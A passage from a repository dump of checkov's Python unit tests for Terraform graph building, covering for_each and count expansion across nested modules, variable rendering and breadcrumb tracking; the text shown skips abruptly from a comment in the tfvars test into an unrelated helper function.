len(tf_definitions[third_nested_module['module'][1]['inner_s3_module2']['__resolved__'][0]]['resource']) == 1 assert len(tf_definitions[fourth_nested_module['module'][0]['inner_s3_module']['__resolved__'][0]]['resource']) == 1 assert len(tf_definitions[fourth_nested_module['module'][1]['inner_s3_module2']['__resolved__'][0]]['resource']) == 1 assert first_tf_module.file_path == os.path.join(checkov_source_path, 'tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf') first_source_module = first_tf_module.tf_source_modules assert first_source_module.name == 's3_module' assert first_source_module.nested_tf_module is None assert first_source_module.foreach_idx == 'a' @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING": "True"}) def test_tf_definitions_for_foreach_on_modules(checkov_source_path): dir_name_and_definitions_path = [ ('parser_dup_nested', 'expected_foreach_modules_tf_definitions.json'), ('foreach_module_dup_foreach', 'expected_foreach_module_dup_foreach.json') ] for dir_name, definitions_path in dir_name_and_definitions_path: local_graph, _ = build_and_get_graph_by_path(dir_name, render_var=True) tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=local_graph.vertices, root_folder=dir_name) file_path = os.path.join(os.path.dirname(__file__), definitions_path) with open(file_path, 'r') as f: expected_data = json.load(f, object_hook=object_hook) tf_definitions_json = json.dumps(tf_definitions, cls=CustomJSONEncoder) tf_definitions_json = tf_definitions_json.replace(checkov_source_path, '...') tf_definitions_after_handling_checkov_source = json.loads(tf_definitions_json, object_hook=object_hook) assert tf_definitions_after_handling_checkov_source == expected_data @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING": "True"}) def test_foreach_module_in_second_level_module(checkov_source_path): dir_name = 'foreach_module' graph, _ = build_and_get_graph_by_path(dir_name, render_var=True) tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=graph.vertices, root_folder=dir_name) assert len([block for block in graph.vertices if block.block_type == 'module']) == 10 assert len([block for block in graph.vertices if block.block_type == 'resource']) == 8 assert len(tf_definitions.keys()) == 11 @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING": "True"}) def test_foreach_module_in_both_levels_module(checkov_source_path): dir_name = 'foreach_module_dup_foreach' graph, _ = build_and_get_graph_by_path(dir_name, render_var=True) tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=graph.vertices, root_folder=dir_name) resources = [block for block in graph.vertices if block.block_type == 'resource'] locals = [block for block in graph.vertices if block.block_type == 'locals'] vars = [block for block in graph.vertices if block.block_type == 'variable'] modules = [block for block in graph.vertices if block.block_type == 'module'] assert len(modules) == 20 assert len(resources) == 16 assert len(tf_definitions.keys()) == 22 for resource in resources: assert resource.source_module_object.foreach_idx is not None for local in locals: assert local.source_module_object.foreach_idx is not None for var in vars: if var.source_module_object: assert var.source_module_object.foreach_idx is not None for module in modules: if module.source_module_object: assert module.source_module_object.foreach_idx is not None @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING": "True"}) def test_foreach_module_and_resource(checkov_source_path): dir_name = 'foreach_module_and_resource' graph, _ = build_and_get_graph_by_path(dir_name, render_var=True) tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=graph.vertices, root_folder=dir_name) assert len([block for block in graph.vertices if block.block_type == 'module']) == 2 assert len([block for block in graph.vertices if block.block_type == 'resource']) == 4 assert len(tf_definitions.keys()) == 3 assert graph.vertices[2].config['aws_s3_bucket_public_access_block']['var_bucket["a"]']['__address__'] == 'module.s3_module["a"].aws_s3_bucket_public_access_block.var_bucket["a"]' assert graph.vertices[6].config['aws_s3_bucket_public_access_block']['var_bucket["a"]']['__address__'] == 'module.s3_module["b"].aws_s3_bucket_public_access_block.var_bucket["a"]' assert graph.vertices[8].config['aws_s3_bucket_public_access_block']['var_bucket["b"]']['__address__'] == 'module.s3_module["a"].aws_s3_bucket_public_access_block.var_bucket["b"]' assert graph.vertices[9].config['aws_s3_bucket_public_access_block']['var_bucket["b"]']['__address__'] == 'module.s3_module["b"].aws_s3_bucket_public_access_block.var_bucket["b"]' @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING": "True", "CHECKOV_ENABLE_DATAS_FOREACH_HANDLING": "True"}) def test_foreach_data(checkov_source_path): dir_name = 'data_simple' graph, _ = build_and_get_graph_by_path(dir_name, render_var=True) tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=graph.vertices, root_folder=dir_name) assert len([block for block in graph.vertices if block.block_type == 'data']) == 6 assert len(tf_definitions[list(tf_definitions.keys())[0]]['data']) == 6 data_vertices_names = [block.name for block in graph.vertices if block.block_type == 'data'] assert 'aws_s3_bucket.data_list["b"]' in data_vertices_names assert 'aws_s3_bucket.data_dict["key1"]' in data_vertices_names assert 'aws_s3_bucket.data_count[0]' in data_vertices_names assert 'aws_s3_bucket.data_list["a"]' in data_vertices_names assert 'aws_s3_bucket.data_dict["key2"]' in data_vertices_names assert 'aws_s3_bucket.data_count[1]' in data_vertices_names @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING": "True", "CHECKOV_ENABLE_DATAS_FOREACH_HANDLING": "True"}) def test_foreach_data_with_resource(checkov_source_path): dir_name = 'data_with_resource' graph, _ = build_and_get_graph_by_path(dir_name, render_var=True) tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=graph.vertices, root_folder=dir_name) assert len([block for block in graph.vertices if block.block_type == 'data']) == 5 assert len(tf_definitions[list(tf_definitions.keys())[0]]['data']) == 5 data_vertices_names = [block.name for block in graph.vertices if block.block_type == 'data'] assert 'aws_s3_bucket.data_dict["key1"]' in data_vertices_names assert 'aws_s3_bucket.data_count[0]' in data_vertices_names assert 'aws_s3_bucket.data_dict["key2"]' in data_vertices_names assert 'aws_s3_bucket.data_count[1]' in data_vertices_names assert graph.vertices[0].attributes['bucket'] == graph.vertices[3].attributes['bucket'] assert graph.vertices[1].attributes['bucket'] == graph.vertices[4].attributes['bucket'] assert graph.vertices[8].attributes['bucket'] == graph.vertices[10].attributes['bucket'] assert graph.vertices[9].attributes['bucket'] == graph.vertices[11].attributes['bucket'] @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING": "True"}) def test_foreach_module_with_more_than_two_resources(checkov_source_path): dir_name = 'foreach_module_with_more_than_two_resources' graph, _ = build_and_get_graph_by_path(dir_name, render_var=True) tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=graph.vertices, root_folder=dir_name) assert len([block for block in graph.vertices if block.block_type == 'module']) == 16 assert len([block for block in graph.vertices if block.block_type == 'resource']) == 14 assert len(tf_definitions.keys()) == 17 @pytest.mark.parametrize( "statement,expected", [ ([{'main'}], True), (["${toset(['bucket_a', 'bucket_b'])}"], True), ({'key1': '${var.a}', 'key2': '${var.b}'}, True), ({'key2': '${var.b}', 'var.a': '${var.a}'}, False), ('${var.a}', False), ('bana', True) ] ) def test__is_static_foreach_statement(statement, expected): abstract_handler = ForeachAbstractHandler(None) assert abstract_handler._is_static_foreach_statement(statement) == expected @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING": "True"}) def test_foreach_with_lookup(): dir_name = 'foreach_examples/foreach_lookup' graph, _ = build_and_get_graph_by_path(dir_name, render_var=True) assert graph.vertices[0].attributes.get('uniform_bucket_level_access') == [True] assert graph.vertices[1].attributes.get('uniform_bucket_level_access') == [True] @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING": "True"}) def test_foreach_large_count_with_nested_module(checkov_source_path): dir_name = 'os_example_large_count_with_nested_module' graph, _ = build_and_get_graph_by_path(dir_name, render_var=True) assert len(graph.vertices) == 85 def test__get_tf_module_with_no_foreach(): module = TFModule(name='1', path='1', foreach_idx='1', nested_tf_module=TFModule(name='2', path='2', foreach_idx='2', nested_tf_module=None)) result = ForeachModuleHandler._get_tf_module_with_no_foreach(module) assert result == TFModule(name='1', path='1', foreach_idx=None, nested_tf_module=TFModule(name='2', path='2', foreach_idx=None, nested_tf_module=None)) def test__get_module_with_only_relevant_foreach_idx(): module = TFModule(name='1', path='1', foreach_idx='1', nested_tf_module=TFModule(name='2', path='2', foreach_idx='2', nested_tf_module=TFModule(name='3', path='3', foreach_idx='3', nested_tf_module=None) ) ) original_key = TFModule(name='2', path='2', foreach_idx='2', nested_tf_module=TFModule(name='3', path='3', foreach_idx='3', nested_tf_module=None)) result = ForeachModuleHandler._get_module_with_only_relevant_foreach_idx('test', original_key, module) assert result == TFModule(name='1', path='1', foreach_idx='1', nested_tf_module=TFModule(name='2', path='2', foreach_idx='test', nested_tf_module=TFModule(name='3', path='3', foreach_idx='3', nested_tf_module=None) ) ) def test_nested_foreach_with_variable_reference(): """ Here we test that a nested foreach loop based on module locals is correctly rendered in the Terraform graph. """ resources_by_group_local_var = 2 resources_by_files_local_var = 2 dir_name = 'foreach_examples/nested_foreach_based_on_module_locals' graph = build_and_get_graph_by_path(dir_name)[0] graph_resources_filter = filter(lambda blk: blk.block_type == 'resource', graph.vertices) graph_resources_created = list(map(lambda rsrc: rsrc.attributes['__address__'], graph_resources_filter)) assert len(graph_resources_created) is (resources_by_group_local_var * resources_by_files_local_var) assert graph_resources_created == ['module.files["blue"].aws_s3_bucket_object.this_file["test1"]', 'module.files["green"].aws_s3_bucket_object.this_file["test1"]', 'module.files["blue"].aws_s3_bucket_object.this_file["test2"]', 'module.files["green"].aws_s3_bucket_object.this_file["test2"]'] def test_double_nested_foreach_with_variable_reference(): """ Here we test that a 2 level nested foreach loop based on module local vars is correctly rendered in the Terraform graph. In this test we have 2 x level1 modules (green, blue) each has 2 level2 modules (test1.txt, test2.txt) and 2 resources for each (test3.txt, test4.txt). So (2 x level1) -> (2 x level2) -> (2 x aws_s3_bucket resource). The unique use case is that the for_each attributes depends on the main module's local variables. """ dir_name = 'foreach_examples/module_foreach_module_foreach_resource_foreach' graph = build_and_get_graph_by_path(dir_name)[0] graph_modules_filter = filter(lambda blk: blk.block_type == 'module', graph.vertices) graph_modules_created = list(map(lambda rsrc: rsrc.attributes['__address__'], graph_modules_filter)) graph_resources_filter = filter(lambda blk: blk.block_type == 'resource', graph.vertices) graph_resources_created = list(map(lambda rsrc: rsrc.attributes['__address__'], graph_resources_filter)) assert len(graph_modules_created) is 6 # 2 level1 modules, each has 2 level2 modules (total of 2 + 2*2 = 6) assert len(graph_resources_created) is 8 # 4 level2 modules, each has 2 resources (total of 2*2*2 = 8) assert graph_resources_created == ['module.level1["blue"].module.level2["test1.txt"].aws_s3_bucket_object.this_file["test3.txt"]', 'module.level1["green"].module.level2["test1.txt"].aws_s3_bucket_object.this_file["test3.txt"]', 'module.level1["blue"].module.level2["test2.txt"].aws_s3_bucket_object.this_file["test3.txt"]', 'module.level1["green"].module.level2["test2.txt"].aws_s3_bucket_object.this_file["test3.txt"]', 'module.level1["blue"].module.level2["test1.txt"].aws_s3_bucket_object.this_file["test4.txt"]', 'module.level1["green"].module.level2["test1.txt"].aws_s3_bucket_object.this_file["test4.txt"]', 'module.level1["blue"].module.level2["test2.txt"].aws_s3_bucket_object.this_file["test4.txt"]', 'module.level1["green"].module.level2["test2.txt"].aws_s3_bucket_object.this_file["test4.txt"]'] def test_double_nested_foreach_and_count_with_variable_reference(): """ Here we test that a 2 level nested foreach loop and count based on module locals is correctly rendered in the Terraform graph. In this test we have 2 x level1 modules (green, blue) each has 2 level2 modules (test1.txt, test2.txt) and 2 resources for each (count of 2). So (2 x level1) -> (2 x level2) -> (2 x aws_s3_bucket resource: count = 2). The unique use case is that the count and for_each attributes (multiple levels) depends on the main module's local variables. """ dir_name = 'count_examples/module_foreach_module_foreach_resource_count' graph = build_and_get_graph_by_path(dir_name)[0] graph_modules_filter = filter(lambda blk: blk.block_type == 'module', graph.vertices) graph_modules_created = list(map(lambda rsrc: rsrc.attributes['__address__'], graph_modules_filter)) graph_resources_filter = filter(lambda blk: blk.block_type == 'resource', graph.vertices) graph_resources_created = list(map(lambda rsrc: rsrc.attributes['__address__'], graph_resources_filter)) assert len(graph_modules_created) is 6 # 2 level1 modules, each has 2 level2 modules (total of 2 + 2*2 = 6) assert len(graph_resources_created) is 8 # 4 level2 modules, each has 2 resources (total of 2*2*2 = 8) assert graph_resources_created == ['module.level1["blue"].module.level2["test1.txt"].aws_s3_bucket_object.this_file[0]', 'module.level1["green"].module.level2["test1.txt"].aws_s3_bucket_object.this_file[0]', 'module.level1["blue"].module.level2["test2.txt"].aws_s3_bucket_object.this_file[0]', 'module.level1["green"].module.level2["test2.txt"].aws_s3_bucket_object.this_file[0]', 'module.level1["blue"].module.level2["test1.txt"].aws_s3_bucket_object.this_file[1]', 'module.level1["green"].module.level2["test1.txt"].aws_s3_bucket_object.this_file[1]', 'module.level1["blue"].module.level2["test2.txt"].aws_s3_bucket_object.this_file[1]', 'module.level1["green"].module.level2["test2.txt"].aws_s3_bucket_object.this_file[1]'] @mock.patch.object(env_vars_config, "RAW_TF_IN_GRAPH_ENV", "True") def test_foreach_renderer_with_raw_asset(): dir_name = 'foreach_examples/foreach_dup_resources' local_graph = build_and_get_graph_by_path(dir_name)[0] foreach_builder = ForeachBuilder(local_graph) foreach_builder._module_handler.local_graph.enable_foreach_handling = True assert len(local_graph.vertices) == 9 for resource in [local_graph.vertices[0], local_graph.vertices[1], local_graph.vertices[5], local_graph.vertices[7]]: assert resource.name.endswith("[\"bucket_a\"]") or resource.name.endswith("[\"bucket_b\"]") assert resource.id.endswith("[\"bucket_a\"]") or resource.id.endswith("[\"bucket_b\"]") config_name = list(resource.config['aws_s3_bucket'].keys())[0] assert config_name.endswith("[\"bucket_a\"]") or config_name.endswith("[\"bucket_b\"]") for edge in [local_graph.edges[1], local_graph.edges[2], local_graph.edges[4], local_graph.edges[5]]: assert edge.label == 'virtual_resource' for resource in [local_graph.vertices[6], local_graph.vertices[8]]: assert len(resource.config[CustomAttributes.VIRTUAL_RESOURCES]) == 2 for virtual_resource in resource.config[CustomAttributes.VIRTUAL_RESOURCES]: assert virtual_resource.endswith("[\"bucket_a\"]") or virtual_resource.endswith("[\"bucket_b\"]") ================================================ FILE: tests/terraform/graph/variable_rendering/test_render_scenario.py ================================================ import json import os import re from unittest.case import TestCase from unittest import mock import jmespath from checkov.common.util.json_utils import object_hook, CustomJSONEncoder from checkov.common.util.parser_utils import TERRAFORM_NESTED_MODULE_PATH_PREFIX, TERRAFORM_NESTED_MODULE_PATH_ENDING, \ TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR, TERRAFORM_NESTED_MODULE_PATH_SEPARATOR_LENGTH from checkov.terraform.modules.module_objects import TFDefinitionKey from checkov.terraform.checks.utils.dependency_path_handler import PATH_SEPARATOR, unify_dependency_path from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions from checkov.terraform.graph_manager import TerraformGraphManager TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) class TestRendererScenarios(TestCase): def test_maze_of_variables(self): self.go('maze_of_variables') def test_merge_function(self): self.go("merge_function") def test_empty_file(self): self.go("empty_file") def test_simple_bucket_single_file(self): self.go("simple_bucket_single_file") def test_variable_defaults(self): self.go("variable_defaults") def test_variable_defaults_separate_files(self): self.go("variable_defaults_separate_files") def test_local_block(self): self.go("local_block") def test_local_bool_string_conversion(self): self.go("local_bool_string_conversion") def test_compound_local(self): self.go("compound_local") def test_concat_function(self): self.go("concat_function") def test_merge_function_unresolved_var(self): self.go("merge_function_unresolved_var", replace_expected=True) def test_tobool_function(self): self.go("tobool_function", {"JUNK": ['tobool("invalid")']}) def test_tolist_function(self): self.go("tolist_function") def test_tomap_function(self): self.skipTest("not reliable") self.go("tomap_function") def test_map_function(self): self.go("map_function", {"INVALID_ODD_ARGS": ['map("only one")']}) def test_tonumber_function(self): self.go("tonumber_function", {"INVALID": ['tonumber("no")']}) def test_toset_function(self): self.go("toset_function", {"VAR": [{'c', 'b', 'a'}]}) def test_tostring_function(self): self.go("tostring_function", {"INVALID_ARRAY": ['tostring([])']}) def test_module_simple(self): self.go("module_simple") def test_module_simple_up_dir_ref(self): self.go("module_simple_up_dir_ref") def test_nested_modules_instances_enable(self): dir_name = 'nested_modules_instances_enable' resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../../parser/resources/parser_scenarios', dir_name)) from checkov.terraform.tf_parser import TFParser parser = TFParser() tf_definitions = parser.parse_directory(directory=resources_dir) with open(f'{resources_dir}/expected.json') as fp: expected = json.load(fp) result, expected = json.dumps(tf_definitions, sort_keys=True, cls=CustomJSONEncoder), \ json.dumps(expected, sort_keys=True, cls=CustomJSONEncoder) result = result.replace(resources_dir, '') expected = expected.replace(resources_dir, '') assert result == expected def test_module_matryoshka_nested_module_enable(self): self.go("module_matryoshka_nested_module_enable") def test_list_default_622(self): # see https://github.com/bridgecrewio/checkov/issues/622 different_expected = { "log_types_enabled": { 'default': [ [ 'api', 'audit', 'authenticator', 'controllerManager', 'scheduler' ] ], 'type': ['list(string)'], "__start_line__": 11, "__end_line__": 14, "__address__": "log_types_enabled" } } self.go("list_default_622", different_expected) def test_module_reference(self): self.go("module_reference") def test_module_output_reference(self): self.go("module_output_reference") def test_bad_ref_fallbacks(self): self.go("bad_ref_fallbacks", replace_expected=True) def test_doc_evaluations_verify(self): self.go("doc_evaluations_verify", replace_expected=True) def test_bad_tf_nested_modules_enable(self): # Note: this hits the _clean_bad_definitions internal function self.go("bad_tf_nested_modules_enable") def test_colon(self): # Note: this hits the _clean_bad_definitions internal function self.go("colon", replace_expected=True) def test_null_variables_651(self): self.skipTest("different implementation, we keep the original variable reference") self.go("null_variables_651") def test_ternaries(self): self.go("ternaries") def test_ternary_793(self): self.go("ternary_793") def test_tfvars(self): # variable evaluation order (later values overwrite earlier values): # 1. default values in variable definition # 2. terraform.tfvars # 3. *.auto.tfvars files (in alphanetical order) # 4. Files specified with --var-file # So we expect the following variable values: # foo = "nimrodIsCöol" (from other2.tfvars - overwrites y.auto.tfvars, x.auto.tfvars, terraform.tfvars) # list_data = ["nine", "ten"] from y.auto.tfvars (overwrites x.auto.tfvars, terraform.tfvars) # map_data = { str: module_location = match[1] if not os.path.isabs(module_location): module_location = os.path.join(dir_path, module_location) module_referrer = match[2] if PATH_SEPARATOR in module_referrer: module_referrer_fixed = [] if TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR in module_referrer: module_referrer = module_referrer[:-(TERRAFORM_NESTED_MODULE_PATH_SEPARATOR_LENGTH + 1)] for ref in module_referrer.split(PATH_SEPARATOR): if not os.path.isabs(ref): module_referrer_fixed.append(os.path.join(dir_path, ref)) module_referrer = unify_dependency_path(module_referrer_fixed) else: module_referrer = os.path.join(dir_path, module_referrer) return f"{module_location}{TERRAFORM_NESTED_MODULE_PATH_PREFIX}{module_referrer}{TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR}{match[3]}{TERRAFORM_NESTED_MODULE_PATH_ENDING}" def remove_prefix_dir_from_path(prefix_to_remove, dict_to_handle): json_data = json.dumps(dict_to_handle) json_data = json_data.replace(prefix_to_remove, '') dict_to_handle = json.loads(json_data) return dict_to_handle ================================================ FILE: tests/terraform/graph/variable_rendering/test_renderer.py ================================================ import os import time from pathlib import Path from unittest import mock from unittest.case import TestCase from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_manager import TerraformGraphManager from checkov.terraform.graph_builder.variable_rendering.renderer import TerraformVariableRenderer from checkov.terraform.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions from tests.terraform.graph.variable_rendering.expected_data import ( expected_terragoat_local_resource_prefix, expected_terragoat_db_instance, expected_eks, expected_provider, ) TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @mock.patch.dict(os.environ, {"RENDER_ASYNC_MAX_WORKERS": "50", "RENDER_VARIABLES_ASYNC": "False"}) class TestRenderer(TestCase): def test_render_local(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_local') graph_manager = TerraformGraphManager('acme', ['acme']) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) expected_local = {'bucket_name': 'test_bucket_name'} expected_resource = {'region': 'us-west-2', 'bucket': expected_local['bucket_name']} self.compare_vertex_attributes(local_graph, expected_local, BlockType.LOCALS, 'bucket_name') self.compare_vertex_attributes(local_graph, expected_resource, BlockType.RESOURCE, 'aws_s3_bucket.template_bucket') def test_render_variable(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_variable') graph_manager = TerraformGraphManager('acme', ['acme']) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) expected_resource = {'region': "us-west-2", 'bucket': "test_bucket_name", "acl": "acl", "force_destroy": True} self.compare_vertex_attributes(local_graph, expected_resource, BlockType.RESOURCE, 'aws_s3_bucket.template_bucket') def test_render_variable_second_resource(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_variable') graph_manager = TerraformGraphManager('acme', ['acme']) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) expected_resource = {'region': "us-west-2", 'bucket': "Storage bucket", "acl": "acl", "force_destroy": True} self.compare_vertex_attributes(local_graph, expected_resource, BlockType.RESOURCE, 'aws_s3_bucket.storage_bucket') def test_render_complex_variable(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/complex_var') graph_manager = TerraformGraphManager('acme', ['acme']) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) expected_resource = {'description': 'test', 'name': 'test', 'policy': {'Statement': [{'Action': '*', 'Condition': {'MyCond': {'key': ['0.0.0.0', '1.1.1.1']}}, 'Effect': 'Deny', 'Resource': '*'}], 'Version': '1970-01-01'}} self.compare_vertex_attributes(local_graph, expected_resource, BlockType.RESOURCE, 'aws_iam_policy.test') def test_render_local_from_variable(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_local_from_variable') graph_manager = TerraformGraphManager('acme', ['acme']) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) expected_local = {'bucket_name': 'test_bucket_name'} self.compare_vertex_attributes(local_graph, expected_local, BlockType.LOCALS, 'bucket_name') def test_general_example(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/general_example') graph_manager = TerraformGraphManager('acme', ['acme']) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) expected_provider = {'profile': 'default', 'region': 'us-east-1', 'alias': 'east1'} expected_local = {'bucket_name': {'val': 'MyBucket'}} expected_resource = {'region': 'us-west-2', 'bucket': expected_local['bucket_name']} self.compare_vertex_attributes(local_graph, expected_provider, BlockType.PROVIDER, 'aws.east1') self.compare_vertex_attributes(local_graph, expected_local, BlockType.LOCALS, 'bucket_name') self.compare_vertex_attributes(local_graph, expected_resource, BlockType.RESOURCE, 'aws_s3_bucket.template_bucket') def test_terragoat_db_app(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_terragoat_db_app') graph_manager = TerraformGraphManager('acme', ['acme']) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) self.compare_vertex_attributes(local_graph, expected_terragoat_local_resource_prefix, BlockType.LOCALS, 'resource_prefix') self.compare_vertex_attributes(local_graph, expected_terragoat_db_instance, BlockType.RESOURCE, "aws_db_instance.default") def test_render_nested_modules(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_nested_modules') graph_manager = TerraformGraphManager('acme', ['acme']) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) expected_aws_instance = {"instance_type": "bar"} self.compare_vertex_attributes(local_graph, expected_aws_instance, BlockType.RESOURCE, "aws_instance.example") expected_output_bucket_acl = {"value": "z"} self.compare_vertex_attributes(local_graph, expected_output_bucket_acl, BlockType.OUTPUT, "bucket_acl") def compare_vertex_attributes(self, local_graph, expected_attributes, block_type, block_name): vertex = local_graph.vertices[local_graph.vertices_block_name_map[block_type][block_name][0]] print(f'breadcrumbs = {vertex.breadcrumbs}') vertex_attributes = vertex.get_attribute_dict() for attribute_key, expected_value in expected_attributes.items(): actual_value = vertex_attributes.get(attribute_key) self.assertEqual(expected_value, actual_value, f'error during comparing {block_type} in attribute key: {attribute_key}') def test_breadcrumbs(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/s3_bucket') graph_manager = TerraformGraphManager('acme', ['acme']) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) vertices = local_graph.vertices s3_vertex = list(filter(lambda vertex: vertex.block_type == BlockType.RESOURCE, vertices))[0] changed_attributes = list(s3_vertex.changed_attributes.keys()) self.assertCountEqual(changed_attributes, ['versioning.enabled', 'acl']) for breadcrumbs in s3_vertex.changed_attributes.values(): self.assertEqual(1, len(breadcrumbs)) acl_origin_vertex = s3_vertex.changed_attributes.get('acl')[0] matching_acl_vertex = vertices[acl_origin_vertex.vertex_id] self.assertEqual('acl', matching_acl_vertex.name) versioning_origin_vertex = s3_vertex.changed_attributes.get('versioning.enabled')[0] matching_versioning_vertex = vertices[versioning_origin_vertex.vertex_id] self.assertEqual('is_enabled', matching_versioning_vertex.name) def test_multiple_breadcrumbs(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/general_example') graph_manager = TerraformGraphManager('acme', ['acme']) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) vertices = local_graph.vertices s3_vertex = list(filter(lambda vertex: vertex.block_type == BlockType.RESOURCE, vertices))[0] changed_attributes = list(s3_vertex.changed_attributes.keys()) self.assertListEqual(changed_attributes, ['region', 'bucket']) bucket_vertices_ids_list = s3_vertex.changed_attributes.get('bucket') self.assertEqual(2, len(bucket_vertices_ids_list)) first_vertex = vertices[bucket_vertices_ids_list[0].vertex_id] self.assertEqual(BlockType.VARIABLE, first_vertex.block_type) self.assertEqual('bucket_name', first_vertex.name) self.assertEqual(first_vertex.name, s3_vertex.breadcrumbs['bucket'][0]['name']) second_vertex = vertices[bucket_vertices_ids_list[1].vertex_id] self.assertEqual(BlockType.LOCALS, second_vertex.block_type) self.assertEqual('bucket_name', second_vertex.name) self.assertEqual(second_vertex.name, s3_vertex.breadcrumbs['bucket'][1]['name']) def test_render_lambda(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_lambda') graph_manager = TerraformGraphManager('acme', ['acme']) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) expected_aws_lambda_permission = {'count': 0, 'statement_id': 'test_statement_id', 'action': 'lambda:InvokeFunction', 'function_name': 'my-func', 'principal': 'dumbeldor', 'resource_type': 'aws_lambda_permission'} self.compare_vertex_attributes(local_graph, expected_aws_lambda_permission, BlockType.RESOURCE, "aws_lambda_permission.test_lambda_permissions") def test_eks(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/terraform-aws-eks-master') graph_manager = TerraformGraphManager('eks', ['eks']) local_graph, tf_def = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) for v in local_graph.vertices: expected_v = expected_eks.get(v.block_type, {}).get(v.name) if expected_v: for attribute_key, expected_value in expected_v.items(): actual_value = v.attributes.get(attribute_key) self.assertEqual(expected_value, actual_value, f'error during comparing {v.block_type} in attribute key: {attribute_key}') def test_dict_tfvar(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_dictionary_tfvars') graph_manager = TerraformGraphManager('d', ['d']) local_graph, tf_def = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) for v in local_graph.vertices: expected_v = expected_provider.get(v.block_type, {}).get(v.name) if expected_v: for attribute_key, expected_value in expected_v.items(): actual_value = v.attributes.get(attribute_key) self.assertEqual(expected_value, actual_value, f'error during comparing {v.block_type} in attribute key: {attribute_key}') def test_graph_rendering_order_nested_module_enable(self): resource_path = os.path.realpath(os.path.join(TEST_DIRNAME, "..", "resources", "module_rendering", "example")) graph_manager = TerraformGraphManager('m', ['m']) local_graph, tf_def = graph_manager.build_graph_from_source_directory(resource_path, render_variables=True) module_vertices = list(filter(lambda v: v.block_type == BlockType.MODULE, local_graph.vertices)) existing = set() self.assertEqual(6, len(local_graph.edges)) for e in local_graph.edges: if e in existing: self.fail("No 2 edges should be aimed at the same vertex in this example") else: existing.add(e) count = 0 found = 0 for v in module_vertices: if v.name == 'second-mock': found += 1 if v.attributes['input'] == ['aws_s3_bucket.some-bucket.arn']: count += 1 self.assertEqual(found, count, f"Expected all instances to have the same value, found {found} instances but only {count} correct values") def test_type_default_values(self): self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('map'), {}) self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('${map}'), {}) self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('map(string)'), {}) self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('${map(string)}'), {}) self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('list'), []) self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('list(string)'), []) self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('${list}'), []) self.assertEqual(TerraformVariableRenderer.get_default_placeholder_value('${list(string)}'), []) self.assertIsNone(TerraformVariableRenderer.get_default_placeholder_value('number')) self.assertIsNone(TerraformVariableRenderer.get_default_placeholder_value('${number}')) self.assertIsNone(TerraformVariableRenderer.get_default_placeholder_value(None)) self.assertIsNone(TerraformVariableRenderer.get_default_placeholder_value(123)) def test_tfvar_rendering_module_vars(self): resource_path = 